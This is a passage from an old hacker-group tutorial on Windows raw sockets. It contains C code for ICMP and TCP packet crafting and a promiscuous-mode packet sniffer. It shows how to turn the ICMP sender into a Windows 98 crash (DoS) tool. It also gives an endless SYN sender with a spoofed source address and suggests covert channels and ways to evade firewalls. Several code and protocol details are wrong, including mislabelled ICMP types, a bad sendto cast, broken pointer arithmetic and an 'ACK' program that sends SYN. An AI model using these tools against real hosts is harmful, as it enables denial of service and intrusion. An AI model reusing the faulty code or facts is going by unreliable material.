along with the protocol we specified and fills out the relevant
 
fields in the protocol header, it then sets the TTL with its own
 
default value of 35.
 
 
 
Then the winsock uses the other information we provided, the source
 
and destination port numbers, and fills the relevant TCP or UDP
 
Header fields, and constructs the header, wraps the headers around
 
the Data we specified and calculates things such as fragmentation
 
and fills in the fields. Once everything is filled out and wrapped
 
up the winsock calculates the size of the packet and specifies the
 
checksum value.
 
 
 
With all this done the winsock sends the packet off to whiz around
 
the internet.
 
 
 
So with normal sockets we dont have to specify all those nasty fields
 
in the Headers we leave it up to good ol' winsock and it handles that
 
but we want to create our own headers so how do we stop the winsock
 
from prefixing its headers onto our packet?
 
 
 
 
 
4.1 SETSOCKOPT()
 
=======================================
 
 
 
The setsockopt() function is very important in raw sockets, its here
 
that we tell the winsock that we want to use our own headers for this
 
packet and for it to not add its own to ours.
 
 
 
The setsockopt() function has 5 parameters:
 
 
 
1. Socket
 
2. Level
 
3. Option Name
 
4. Option value
 
5. Option Length
 
 
 
 
 
1. Socket		- Just like in normal sockets this is a Socket
 
		 	  that we made earlier in the program.
 
 
 
2. Level		- This is the protocol we are going to be using
 
		 	  in the program, it has values such as
 
		 	  IPPROTO_TCP and IPPROTO_IP.
 
 
 
3. Option Name		- The socket option we are going to set, we will
 
			  be setting this to IP_HDRINCL, this option is
 
			  what tells the winsock we want to include our
 
			  own headers for the packet.
 
 
 
4. Option Value		- Pointer to the buffer in which the value for
 
			  the requested option is supplied. We will be
 
			  using a boolean called bOpt set to true for
 
			  this, set to false would mean that we dont want
 
			  to use the IP_HDRINCL option.
 
 
 
5. Option Length	- The size of the buffer which supplies the
 
			  value. We will use sizeof(bOpt) for this.
 
 
 
 
 
The setsockopt() function well be looking at so will look like this:
 
 
 
setsockopt(myraw, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)
 
 
 
 
 
So now how do we tell the winsock that we want to use raw sockets
 
instead of normal sockets in the first place?
 
 
 
 
 
4.2 SOCKET()
 
=======================================
 
 
 
Of course weve already covered the socket() function in the past and
 
are familiar with its different parameters but what we have to be
 
concerned about two of its parameters, its type and protocol.
 
 
 
A normal socket looks like the following:
 
 
 
socket(AF_INET, SOCK_STREAM, 0)
 
 
 
Before we used to set its type as SOCK_STREAM or SOCK_DGRAM for TCP
 
and UDP respectively. In raw sockets however we will set the type
 
parameter to SOCK_RAW and the protocol to IPPROTO_RAW.
 
 
 
A Raw Socket looks like this:
 
 
 
socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
 
 
 
So thats how we tell the winsock that its a raw socket that we will
 
be using which still leaves the question how do we build the actual
 
header?
 
 
 
 
 
5.0 BUILDING HEADERS IN CODE
 
=======================================
 
 
 
The Headers are built using normal C structures, we declare a struct
 
for each header we want to build and declare a variable for each field
 
of the Header that we will be using.
 
 
 
While creating the structure we must remember that there are certain
 
expectations and limitations on the size of Headers, an IP Header is
 
20 Bytes in size, so we will have to use certain types of variables
 
to reflect the sizes of these fields the different variable types and
 
there sizes are as follows:
 
 
 
unsigned char 		= 1 byte  (8 bits)
 
unsigned short int 	= 2 bytes (16 bits)
 
unsigned int 		= 4 bytes (32 bits)
 
 
 
 
 
5.1 THE IP HEADER
 
=======================================
 
 
 
The IP Header as explained above will be built using a structure
 
containing all of the fields in the IP Header. As you will remember
 
there are 14 fields in the IP Header, however we will not be using
 
any of the IP's Options or the padding, also in our examples we will
 
only be using single Datagrams so there will be no need for fragmenting
 
the packets so we will not be using the flags field and we will just
 
set the Fragment Offset to 0.
 
 
 
So with a total of 14 fields in the IP Header we will not be using 3
 
of them so that leaves us with 11 fields, also we will be storing the
 
Ip version and length in one variable so that means we will be using
 
a total of 10 variables for our code when building the Header.
 
 
 
 
 
Well here is the structure we will be using to build the IP Header:
 
 
 
 
 
typedef struct ip_hdr
 
{
 
    unsigned char  ip_verlen;        // version & IHL		 =>	  1 Bytes  (combined size of both)
 
    unsigned char  ip_tos;           // TOS			 =>	  1 Bytes
 
    unsigned short ip_totallength;   // Total length		 =>	  2 Bytes
 
    unsigned short ip_id;            // Identification	 	 =>	  2 Bytes
 
    unsigned short ip_offset;        // Fragment Offset		 =>	  2 Bytes
 
    unsigned char  ip_ttl;           // Time to live		 =>	  1 Bytes
 
    unsigned char  ip_protocol;      // Protocol		 =>	  1 Bytes
 
    unsigned short ip_checksum;      // Header checksum		 =>	  2 Bytes
 
    unsigned int   ip_srcaddr;       // Source address		 => 	  4 Bytes
 
    unsigned int   ip_destaddr;      // Destination address	 =>    +  4 Bytes
 
				     //				       = 20 Bytes
 
}IP_HDR; 
 
 
 
 
 
This structure contains all of the fields we will be using and the sizes
 
of the variables add up to 20 Bytes, the correct size of an IP Header,
 
note however that the Fragment Offset field is given a value of 2 Bytes
 
which is equal to 16 bits, the true size of the frag offset is 13 but we
 
altered it here to make up for the missing 3 bits of the flag field but
 
it wont make any difference to the packet this is still a perfectly formed
 
IP Header.
 
 
 
 
 
5.2 THE TCP HEADER
 
=======================================
 
 
 
With the below structure you will again notice that there are a few
 
of the TCP Headers fields missing, again Options and Padding are not
 
included as we will not be using them, that leaves us with a total of
 
10 fields and the reserved field has been left out because it is not
 
currently implemented by TCP so we are left with 9 fields to fill.
 
 
 
With the missing fields of the Header we have increased the sizes of
 
the Control Bits and Data Offset fields both to 1 Byte to make up the
 
20 Byte size of the TCP Header.
 
 
 
So here is the TCP Structure:
 
 
 
 
 
typedef struct tcp_hdr
 
{
 
    unsigned short sport;	     // Source Port		 =>	  2 Bytes
 
    unsigned short dport;	     // Destination Port	 =>	  2 Bytes
 
    unsigned int   seqnum;	     // Sequence Number		 =>	  4 Bytes
 
    unsigned int   acknum;	     // Acknowledgement Number   =>	  4 Bytes
 
    unsigned char  DataOffset;	     // Data Offset		 =>	  1 Bytes
 
    unsigned char  Flags;	     // Control Bits		 =>	  1 Bytes
 
    unsigned short Windows;	     // Window			 =>	  2 Bytes
 
    unsigned short Checksum; 	     // Checksum		 =>	  2 Bytes
 
    unsigned short UrgPointer;       // Urgent Pointer		 =>    +  2 Bytes
 
				     //				       = 20 Bytes
 
}TCP_HDR;
 
 
 
 
 
5.3 THE UDP HEADER
 
=======================================
 
 
 
The below structure is the UDP Header, unlike previous headers it is
 
not missing any fields and adds up to a totalsize of 8 Bytes.
 
 
 
 
 
typedef struct udp_hdr
 
{
 
    unsigned short sport;	     // Source Port		 =>	  2 Bytes
 
    unsigned short dport;	     // Destination Port	 =>	  2 Bytes
 
    unsigned short Length; 	     // Length			 =>	  2 Bytes
 
    unsigned short Checksum;	     // Checksum		 =>    +  2 Bytes
 
				     //				       =  8 Bytes
 
}UDP_HDR;
 
 
 
 
 
5.4 THE ICMP HEADER
 
=======================================
 
 
 
The ICMP Header is similiar to the UDP Header, it has very few fields
 
and it adds up to a size of 8 Bytes.
 
 
 
 
 
typedef struct tagICMPHDR
 
{ 
 
    unsigned char  icmp_type;	     // Type of message		 =>	  1 Bytes
 
    unsigned char  icmp_code;        // Type sub code		 =>	  1 Bytes
 
    unsigned short icmp_cksum;       // Checksum		 =>	  2 Bytes	
 
    unsigned short icmp_id;          // Identifer		 =>	  2 Bytes
 
    unsigned short icmp_seq;         // sequence number		 =>	+ 2 Bytes
 
				     //					= 8 Bytes
 
} ICMPHDR, *PICMPHDR;
 
 
 
 
 
5.5 THE PSUEDO HEADER
 
=======================================
 
 
 
The Psuedo Header is used to protect against misrouted segments,
 
its size is 12 Bytes, the following structure forms the Psuedo
 
Header:
 
 
 
 
 
typedef struct ps_hdr
 
{
 
    unsigned int   source_address;   // Source Address		 =>	  4 Bytes
 
    unsigned int   dest_address;     // Destination Address	 =>	  4 Bytes
 
    unsigned char  placeholder;	     // Place Holder		 =>	  1 Bytes
 
    unsigned char  protocol;	     // Protocol		 =>	  1 Bytes
 
    unsigned short tcp_length;	     // TCP Length		 =>    +  2 Bytes
 
				     //				       = 12 Bytes
 
    struct tcp_hdr tcp;
 
 
 
}PS_HDR;
 
 
 
 
 
5.6 THE CHECKSUM FUNCTION
 
=======================================
 
 
 
The Checksum Function is needed to calculate the size of the
 
packet, here is the functions code:
 
 
 
 
 
USHORT checksum(USHORT *buffer, int size)
 
{
 
    unsigned long cksum=0;
 
    while (size > 1)
 
    {
 
        cksum += *buffer++;
 
        size  -= sizeof(USHORT);   
 
    }
 
    if (size)
 
    {
 
        cksum += *(UCHAR*)buffer;   
 
    }
 
    cksum = (cksum >> 16) + (cksum & 0xffff);
 
    cksum += (cksum >>16); 
 
    return (USHORT)(~cksum); 
 
}
 
 
 
 
 
 
 
6.0 SOURCE CODE
 
=======================================
 
 
 
Well in the Source Code we are first going to look at code which is
 
supported by all Winsock 2 Systems including Win 9x ones so that
 
every-1 can av' a go as it were. So in this section we are going to
 
put what weve learned so far together and create a working internet
 
application by using the icmp protocol to send an ICMP Echo Request
 
message, the first part of a ping program. First tough we are going
 
to create a header ".h" file for the application, the file contains
 
the checksum function and structures for the IP and ICMP headers.
 
 
 
Remember you will have to make sure that the header file is included
 
correctly with the source file and that you linked to Ws2_32.lib.
 
 
 
6.1 ICMP ECHO REQUEST
 
=======================================
 
 
 
 
 
/********************* icmp.h header file ************************/
 
 
 
// ICMP message types
 
#define ICMP_ECHOREQ		13	// Echo request query
 
 
 
 
 
// IP Header
 
typedef struct ip_hdr
 
{
 
    unsigned char  ip_verlen;        // version & IHL		 =>	  1 Bytes  (combined size of both)
 
    unsigned char  ip_tos;           // TOS			 =>	  1 Bytes
 
    unsigned short ip_totallength;   // Total length		 =>	  2 Bytes
 
    unsigned short ip_id;            // Identification	 	 =>	  2 Bytes
 
    unsigned short ip_offset;        // Fragment Offset		 =>	  2 Bytes
 
    unsigned char  ip_ttl;           // Time to live		 =>	  1 Bytes
 
    unsigned char  ip_protocol;      // Protocol		 =>	  1 Bytes
 
    unsigned short ip_checksum;      // Header checksum		 =>	  2 Bytes
 
    unsigned int   ip_srcaddr;       // Source address		 => 	  4 Bytes
 
    unsigned int   ip_destaddr;      // Destination address	 =>    +  4 Bytes
 
				     //				       = 20 Bytes
 
}IP_HDR; 
 
 
 
 
 
// ICMP Header
 
typedef struct tagICMPHDR
 
{ 
 
    unsigned char  icmp_type;	     // Type of message		 =>	  1 Bytes
 
    unsigned char  icmp_code;        // Type sub code		 =>	  1 Bytes
 
    unsigned short icmp_cksum;       // Checksum		 =>	  2 Bytes	
 
    unsigned short icmp_id;          // Identifer		 =>	  2 Bytes
 
    unsigned short icmp_seq;         // sequence number		 =>	+ 2 Bytes
 
				     //					= 8 Bytes
 
} ICMPHDR, *PICMPHDR;
 
 
 
 
 
#define REQ_DATASIZE 32		// Echo Request Data size
 
 
 
 
 
// ICMP Echo Request
 
typedef struct tagECHOREQUEST
 
{
 
    ICMPHDR icmpHdr;
 
    char    cData[REQ_DATASIZE];
 
 
 
} ECHOREQUEST, *PECHOREQUEST;
 
 
 
 
 
USHORT checksum(USHORT *buffer, int size)
 
{
 
    unsigned long cksum=0;
 
    while (size > 1)
 
    {
 
        cksum += *buffer++;
 
        size  -= sizeof(USHORT);   
 
    }
 
    if (size)
 
    {
 
        cksum += *(UCHAR*)buffer;   
 
    }
 
    cksum = (cksum >> 16) + (cksum & 0xffff);
 
    cksum += (cksum >>16); 
 
    return (USHORT)(~cksum); 
 
}
 
 
 
/********************* icmp.h header file ************************/
 
 
 
 
 
So in the header file we first #defined some code type for ICMP
 
Echo Request to make things a bit more readable later on, then we
 
set up our IP and ICMP structures by giving variables for each field
 
in the Protocol headers. Notice the sizes of each field add up
 
correctly for the sizes of the protocol headers, we also have a
 
structure called ECHOREQUEST, all icmp messages have different
 
fields except for the common ones defined in the icmp header above,
 
the fields of ECHOREQUEST are the extra fields nedded for echo's.
 
We then have a function to calculate the checksum, all these bits
 
of code are just placed inside our .h file to keep things shorter
 
and more readable in the main program, speaking of which...
 
 
 
/********************* icmp.c source file ************************/
 
 
 
// Make sure you always include your headers and link your libraries :)
 
 
 
#include <winsock2.h>
 
#include <ws2tcpip.h>
 
#include <stdio.h>
 
#include <stdlib.h>
 
#include "icmp.h"
 
 
 
 
 
void main(int argc, char **argv)
 
{
 
 
 
    DWORD dip = inet_addr(argv[1]);
 
 
 
    WSADATA		wsaData;
 
    SOCKET		sock;
 
 
 
    static ECHOREQUEST	echo_req;
 
 
 
    struct sockaddr_in sin;
 
 
 
    // Startup WinSock
 
    if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
 
    {
 
	printf("WSAStartup failure!");
 
    }
 
 
 
    // Create a raw socket
 
    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
 
    {
 
        printf("Error starting socket");
 
    }
 
 
 
    sin.sin_family	= AF_INET;
 
    sin.sin_port	= htons(0);
 
    sin.sin_addr.s_addr = dip;
 
 
 
 
 
    // Fill in echo request
 
    echo_req.icmpHdr.icmp_type	= ICMP_ECHOREQ;
 
    echo_req.icmpHdr.icmp_code	= 0;
 
    echo_req.icmpHdr.icmp_cksum	= 0;
 
    echo_req.icmpHdr.icmp_id	= 1;
 
    echo_req.icmpHdr.icmp_seq	= 1;
 
 
 
    // Fill in some data to send
 
    memset(echo_req.cData, ' ', REQ_DATASIZE);
 
 
 
    // Compute checksum
 
    echo_req.icmpHdr.icmp_cksum = checksum((unsigned short *)&echo_req, sizeof(ECHOREQUEST));
 
	
 
    // Status mesage
 
    printf("Sending Echo Request to <%s>.\n", argv[1]);
 
 
 
    // Send the echo request  								  
 
    if (sendto(sock, (const char *) &echo_req, sizeof(ECHOREQUEST), 0, (SOCKADDR *) dip, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
 
    {
 
       printf("sendto() failed: %d\n", WSAGetLastError());
 
       return -1;
 
    }
 
 
 
 
 
    // Status mesage
 
    printf("Message Sent\n");
 
 
 
    // Close socket and WinSock
 
    closesocket(sock);
 
    WSACleanup();
 
    return 0;
 
}
 
 
 
/********************* icmp.c source file ************************/
 
 
 
Well start up your compiler and link to the Ws2_32.lib file then
 
add the icmp.c and icmp.h files to a new project. Compile and run
 
this program by typing icmp 127.0.0.1 at the command line. The
 
program takes the argument passed to it, 127.0.0.1 or any other
 
IP Address you want and sends an ICMP message with a type of 13 and
 
a code of 0, this setting is an ICMP echo request. Now remember
 
that whatever values you enter in the code for the ICMP headers
 
fields, that is the type of ICMP Message that is sent. For example,
 
if we were to change the type to 17 then we would be sending a ICMP
 
Netmask request, the target machine would then send back a Netmask
 
Reply which we could use to map a target network. Or say if we went
 
to www.tlsecurity.com and browsed for vulnerabilities and the words
 
ICMP and Win98 were to catch our eye, here we would find a
 
vulnerability for Windows 98 called p-smash. Now this advisory
 
tells us that if we sent an icmp message to a computer running
 
Windows 98 that had a Type of 9 and a code of 0 then the thing
 
halt and stop responding. Therefore all we have to do with the
 
above program is change:
 
 
 
#define ICMP_ECHOREQ		13
 
 
 
	to
 
 
 
#define ICMP_ECHOREQ		19
 
 
 
in the header file, then when we send this to a Windows 98 machine
 
the thing halts, an icmp DoS tool.
 
 
 
Lamer Alert: I was using the above as an example DoS tools are
 
indeed very lame!! and just shouldn't be used or designed, advisories
 
are of course a good thing, they prompt vendors to do something about
 
security vulnerabilities and promote security awareness, don't be
 
lame, don't use DoS tools, otherwise you'll give Steve Gibson more
 
stuff to prattle on about and ill have to bore ya to death with more
 
flaming of 'the prick' (yes by flaming of the prick i am refering to
 
Giving out about Gibson not medical conditions, I know what you were
 
thinking cyberwolf!).
 
 
 
 
 
6.2 TCP ACK PACKET
 
=======================================
 
 
 
/*********************** ip.h header file *************************/
 
 
 
#include <winsock2.h>
 
#include <windows.h>
 
#include <ws2tcpip.h>
 
#include <stdio.h>
 
 
 
struct tcpheader {
 
 unsigned short int th_sport;
 
 unsigned short int th_dport;
 
 unsigned int th_seq;
 
 unsigned int th_ack;
 
 unsigned char th_x2:4, th_off:4;
 
 unsigned char th_flags;
 
 unsigned short int th_win;
 
 unsigned short int th_sum;
 
 unsigned short int th_urp;
 
}; /* total tcp header length: 20 bytes (=160 bits) */
 
 
 
struct ipheader {
 
 unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
 
 unsigned char ip_tos;
 
 unsigned short int ip_len;
 
 unsigned short int ip_id;
 
 unsigned short int ip_off;
 
 unsigned char ip_ttl;
 
 unsigned char ip_p;
 
 unsigned short int ip_sum;
 
 unsigned int ip_src;
 
 unsigned int ip_dst;
 
}; /* total ip header length: 20 bytes (=160 bits) */
 
 
 
// Psuedo Header
 
 
 
typedef struct ps_hdr
 
{
 
    unsigned int   source_address;   // Source Address		 =>	  4 Bytes
 
    unsigned int   dest_address;     // Destination Address	 =>	  4 Bytes
 
    unsigned char  placeholder;	     // Place Holder		 =>	  1 Bytes
 
    unsigned char  protocol;	     // Protocol		 =>	  1 Bytes
 
    unsigned short tcp_length;	     // TCP Length		 =>    +  2 Bytes
 
				     //				       = 12 Bytes
 
    struct tcpheader tcp;
 
 
 
}PS_HDR;
 
 
 
// IP/TCP/UDP Checksum Function
 
 
 
USHORT checksum(USHORT *buffer, int size)
 
{
 
    unsigned long cksum=0;
 
    while (size > 1)
 
    {
 
        cksum += *buffer++;
 
        size  -= sizeof(USHORT);   
 
    }
 
    if (size)
 
    {
 
        cksum += *(UCHAR*)buffer;   
 
    }
 
    cksum = (cksum >> 16) + (cksum & 0xffff);
 
    cksum += (cksum >>16); 
 
    return (USHORT)(~cksum); 
 
}
 
 
 
/*********************** ip.h header file *************************/
 
 
 
Well that header file contained a few #define's, these dealt with
 
TCP's control bits like ack and sequence and so on to make things
 
more readable later. We then setup up the structures for the IP,
 
TCP and Psuedo Headers and the function to calculate the checksum.
 
Now lets put the header to use with the ack program, this program
 
will send a single ACK packet to whatever computer you specify.
 
 
 
/********************** main.c source file ************************/
 
 
 
#include "ip.h"
 
 
 
#define PORT 25
 
 
 
int main (void)
 
{
 
 
 
	WSADATA wsd;
 
	char datagram[4096];
 
	bool bOpt = 1;
 
 
 
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
 
    {
 
	   printf("WSAStartup() failed: %d\n", GetLastError());
 
	   return -1;
 
    }
 
 
 
// Create a raw socket
 
 
 
    SOCKET s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
 
    if (s == INVALID_SOCKET)
 
    {
 
       printf("WSASocket() failed: %d\n", WSAGetLastError());
 
       return -1;
 
    }
 
 
 
  struct ipheader *iph = (struct ipheader *) datagram;
 
  struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
 
  struct sockaddr_in sin;
 
 
 
  PS_HDR pseudo_header;
 
 
 
  sin.sin_family = AF_INET;
 
  sin.sin_port = htons (PORT);
 
  sin.sin_addr.s_addr = inet_addr ("127.0.0.1");
 
 
 
  memset (datagram, 0, 4096);	/* zero out the buffer */
 
 
 
  iph->ip_hl		 = 5;
 
  iph->ip_v			 = 4;
 
  iph->ip_tos		 = 0;
 
  iph->ip_len		 = sizeof (struct ipheader) + sizeof (struct tcpheader);
 
  iph->ip_id		 = 1;
 
  iph->ip_off		 = 0;
 
  iph->ip_ttl		 = 255;
 
  iph->ip_p			 = 6;
 
  iph->ip_sum		 = 0;
 
  iph->ip_src		 = inet_addr ("1.2.3.4");
 
  iph->ip_dst		 = sin.sin_addr.s_addr;
 
 
 
  tcph->th_sport	 = htons (1234);
 
  tcph->th_dport	 = htons (PORT);
 
  tcph->th_seq		 = rand();
 
  tcph->th_ack		 = 0;
 
  tcph->th_x2		 = 0;
 
  tcph->th_off		 = 0;
 
  tcph->th_flags	 = 2; // SYN
 
  tcph->th_win		 = htons(65535);
 
  tcph->th_sum		 = 0;
 
  tcph->th_urp		 = 0;
 
 
 
  // Build the Psuedo Header
 
 
 
  pseudo_header.source_address    = inet_addr ("1.2.3.4");
 
  pseudo_header.dest_address	  = sin.sin_addr.s_addr;
 
  pseudo_header.placeholder		  = 0;
 
  pseudo_header.protocol		  = IPPROTO_TCP;
 
  pseudo_header.tcp_length		  = htons(sizeof(tcpheader));
 
 
 
// Calculate Checksum
 
 
 
  tcph->th_sum = checksum((unsigned short *)&pseudo_header, sizeof(pseudo_header));
 
  iph->ip_sum  = checksum((unsigned short *)&iph, sizeof(ipheader));
 
// ENABLE IPHDRINCL 
 
 
 
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)) == SOCKET_ERROR)
 
    {
 
	   printf("setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
 
	   return -1;
 
    }
 
 
 
  while (1)
 
    {
 
      // Send The Packet
 
 
 
    if (sendto(s, datagram, sizeof(datagram), 0, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR)
 
    {
 
       	   printf("sendto() failed: %d\n", WSAGetLastError());
 
	   return -1;
 
    }
 
    }
 
 
 
  return 0;
 
}
 
 
 
/********************** main.c source file ************************/
 
 
 
This program sends a tcp SYN packet to a target (you), it is a simple
 
program but a very powerful one. You can edit all of the header fields
 
enabling us to spoof our ip address amongst other things.
 
 
 
Notice that we can also set the port numbers, some firewalls will
 
let a packet with a port of 53 trough and not even log it, by knowing
 
security tid bits like this we can build better more sophisticated
 
programs.
 
 
 
 
 
7.0 RECIEVING RAW PACKETS
 
=======================================
 
 
 
Recieving Raw Packets was never dealt with in the Berkeley Raw Socket
 
specification, so far only linux 2.2.3 and up I believe ever dealt
 
with them, it is of course therefore surprising that Microsoft has
 
indeed supported a way to recieve raw packets with our programs! Yes
 
indeed I am starting to like the guy who came up with the idea of
 
supporting raw sockets in Windows more and more! But how do we do it?
 
Well what we do is this: sniff all incomming packets on our computer
 
and filter them for the packet we are looking for. This method can
 
be used for, obviously, creating a packet sniffer and also for a
 
firewall or some port redirection tool. Very good idea.
 
 
 
We do it by creating a new raw socket and binding it to the interface,
 
go into promiscuous mode and grab all the incomming packets.
 
 
 
As usual we would set up our socket with something like the following:
 
 
 
    SOCKET        sniffsock;
 
    SOCKADDR_IN   if0;
 
 
 
 
 
    sniffsock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
 
 
 
 
 
and then call bind() with this raw socket:
 
 
 
 
 
    bind(sniffsock, (SOCKADDR *)&if0, sizeof(if0));
 
 
 
 
 
we then go into Promiscuous mode and recieve all of the packets by
 
calling WSAIoctl() with SIO_RCVALL set:
 
 
 
 
 
   WSAIoctl(sniffsock, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &dwBytesRet, NULL,	NULL);
 
 
 
 
 
we can then use the WSARecv() function to grab the packets and feed
 
them into a buffer like so:
 
 
 
 
 
   recv(sniffsock, RecvBuf, sizeof(RecvBuf), 0);
 
 
 
 
 
We then use our own filterpacket() function to look for the particular
 
packet that we want.
 
 
 
 
 
So now for some example source code, this program will capture all packets
 
sent to your computer for as long as the program is running, to do this well
 
use a while loop to capture the packets then pass the packet to a function
 
called filterpacket() in order to get the information from the packets
 
headers. First create a new project and add a .cpp c++ source file.
 
Here comes the science bit.
 
 
 
 
 
/********************** recv.c source file ************************/
 
 
 
#include <winsock2.h>
 
#include <windows.h>
 
#include <ws2tcpip.h>
 
#include <stdio.h>
 
 
 
void outtie(char *p)
 
{
 
	FILE *fp = fopen("Sniffer1.txt","a+");
 
	fprintf(fp,"%s\n",p);
 
	fclose(fp);
 
}
 
 
 
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
 
#define MAX_ADDR_LEN 16
 
#define MAX_HOSTNAME_LAN 255
 
 
 
typedef struct _iphdr
 
{
 
unsigned char	h_lenver;
 
unsigned char	tos;
 
unsigned short	total_len;
 
unsigned short	ident;
 
unsigned short	frag_and_flags;
 
unsigned char	ttl;
 
unsigned char	proto;
 
unsigned short	checksum;
 
unsigned int	sourceIP;
 
unsigned int	destIP;
 
}IP_HDR;
 
 
 
void RecvPacket();
 
int filterpacket(char *buf);
 
 
 
char     output[500];
 
 
 
void main()
 
{
 
RecvPacket();
 
}
 
 
 
void RecvPacket()
 
{
 
    SOCKET        sock;
 
    WSADATA       wsd;
 
    char RecvBuf[65535] = {0};
 
	DWORD		  dwBytesRet;
 
	unsigned int  optval = 1;
 
 
 
	WSAStartup(MAKEWORD(2,1),&wsd);
 
 
 
	sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
 
 
 
	char FAR name[MAX_HOSTNAME_LAN];
 
	gethostname(name, MAX_HOSTNAME_LAN);
 
 
 
	struct hostent FAR * pHostent;
 
	pHostent = (struct hostent * )malloc(sizeof(struct hostent));
 
	pHostent = gethostbyname(name);
 
 
 
	SOCKADDR_IN sa;
 
	sa.sin_family = AF_INET;
 
	sa.sin_port = htons(6000);
 
 
 
	memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
 
 
 
	bind(sock, (SOCKADDR *)&sa, sizeof(sa));
 
 
 
	WSAIoctl(sock, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &dwBytesRet, NULL, NULL);
 
 
 
	while (1)
 
    {
 
    memset(RecvBuf, 0, sizeof(RecvBuf));
 
 
 
	recv(sock, RecvBuf, sizeof(RecvBuf), 0);
 
 
 
	filterpacket(RecvBuf);
 
    }
 
 
 
}
 
 
 
 
 
// Filter the Packet
 
 
 
int filterpacket(char *buf)
 
{
 
IP_HDR *pIpheader;
 
 
 
char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
 
SOCKADDR_IN saSource, saDest;
 
 
 
int iProtocol, iTTL;
 
 
 
pIpheader = (IP_HDR *)buf;
 
 
 
//Check Proto
 
iProtocol = pIpheader->proto;
 
 
 
if(iProtocol==IPPROTO_TCP)
 
{
 
	sprintf(output,"Protocol is TCP");
 
	outtie(output);
 
}
 
if(iProtocol==IPPROTO_UDP)
 
{
 
	sprintf(output,"Protocol is UDP");
 
	outtie(output);
 
}
 
if(iProtocol==IPPROTO_ICMP)
 
{
 
	sprintf(output,"Protocol is ICMP");
 
	outtie(output);
 
}
 
 
 
//Check Source IP
 
saSource.sin_addr.s_addr = pIpheader->sourceIP;
 
strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);
 
 
 
 
 
//Check Dest IP
 
saDest.sin_addr.s_addr = pIpheader->destIP;
 
strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);
 
 
 
 
 
iTTL = pIpheader->ttl;
 
 
 
//Output
 
sprintf(output,"%s->%s", szSourceIP, szDestIP);
 
outtie(output);
 
 
 
sprintf(output,"TTL=%d", iTTL);
 
outtie(output);
 
 
 
printf("\n");
 
return true;
 
}
 
 
 
/********************** recv.c source file ************************/
 
 
 
As i said this program will simply capture all packets sent to your
 
machine, it will then output their details to a file called Sniffer.txt
 
in the same directory as the program, as long as the program is running
 
the window will remain black but it is still outputting the information.
 
 
 
To enhance this program you could check the value of pIpheader->proto
 
field and add code to handle the underlying tcp header or just format
 
the output better.
 
 
 
You will notice the line #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) at the
 
top of the file, this must be defined in all programs that capture packets,
 
not sure why it wasn't just defined in one of the standard header files
 
but what can we do.
 
 
 
You could use this and the previous program in unison to send a packet
 
and recv, checking received packets header fields to match values you
 
sent out, working the two together to build up a more complex program.
 
 
 
 
 
8.0 Last Words.
 
=======================================
 
 
 
With a tear in my eye its time unfortunately, to go. I hope you enjoyed
 
this final tutorial in the series and learnt alot from the series as a
 
whole and I hope you go on to  apply the knowledge you have learned from
 
this tutorial and from source code and create some great security
 
applications, maybe you can put all of the knowledge you have together
 
to create something good and now with an understanding of protocols and
 
how to implement them trough code you can review some security features
 
on the internet and create some excellent new programs. So I leave you
 
now with my TOP 5 suggestions to use your new knowledge, seperately or
 
in unison.
 
 
 
1. A stealth port scanner, sending ACK packets and listening for the
 
packets returned to find out if the port is open (A SYN packet) closed
 
(A RST Packet) or filtered (ICMP Blocked message).
 
 
 
2. OS Fingerprinting, filtering the packets sent by a computer to your
 
own to identify the operating system in use.
 
 
 
3. Packet capturing, dumping the packets you sniff to a text file to
 
examine them and learn protocols like icq or napster.
 
 
 
4. Stealth Communication, sending data in ICMP or ACK packets so there
 
not found by firewalls.
 
 
 
5. Build a firewall, filter the recieved packets to watch for signs of
 
attack or system penetration (sounds kinky :P).
 
 
 
 
 
Now you could even alter existing programs to add new features, send
 
packets on ports 53 or 81 to bypass firewalls like checkpoint. OS
 
finger print recieved packets to uncover firewall tricks like spoofing
 
the source ip of the target your trying to get to, any many other
 
things to aid in system security, or insecurity.
 
 
 
 
 
[ SHOUTS! ]
 
 
 
Starman_Jones		- Thanks for everything over the years (especially for my own room).
 
 
 
Vsus			- I am never drinking Tsambuca with you again :P.
 
 
 
Delusive			- Delusive's breasts owns j00!!!!
 
 
 
BSRF			- Thanks to every-1 at BSRF for releasing this and for being a good laugh :).
 
 
 
secure@microsoft.com	- The things you poor people must have to go trough.
 
 
 
Greg from microsoft	- Your a better man than I.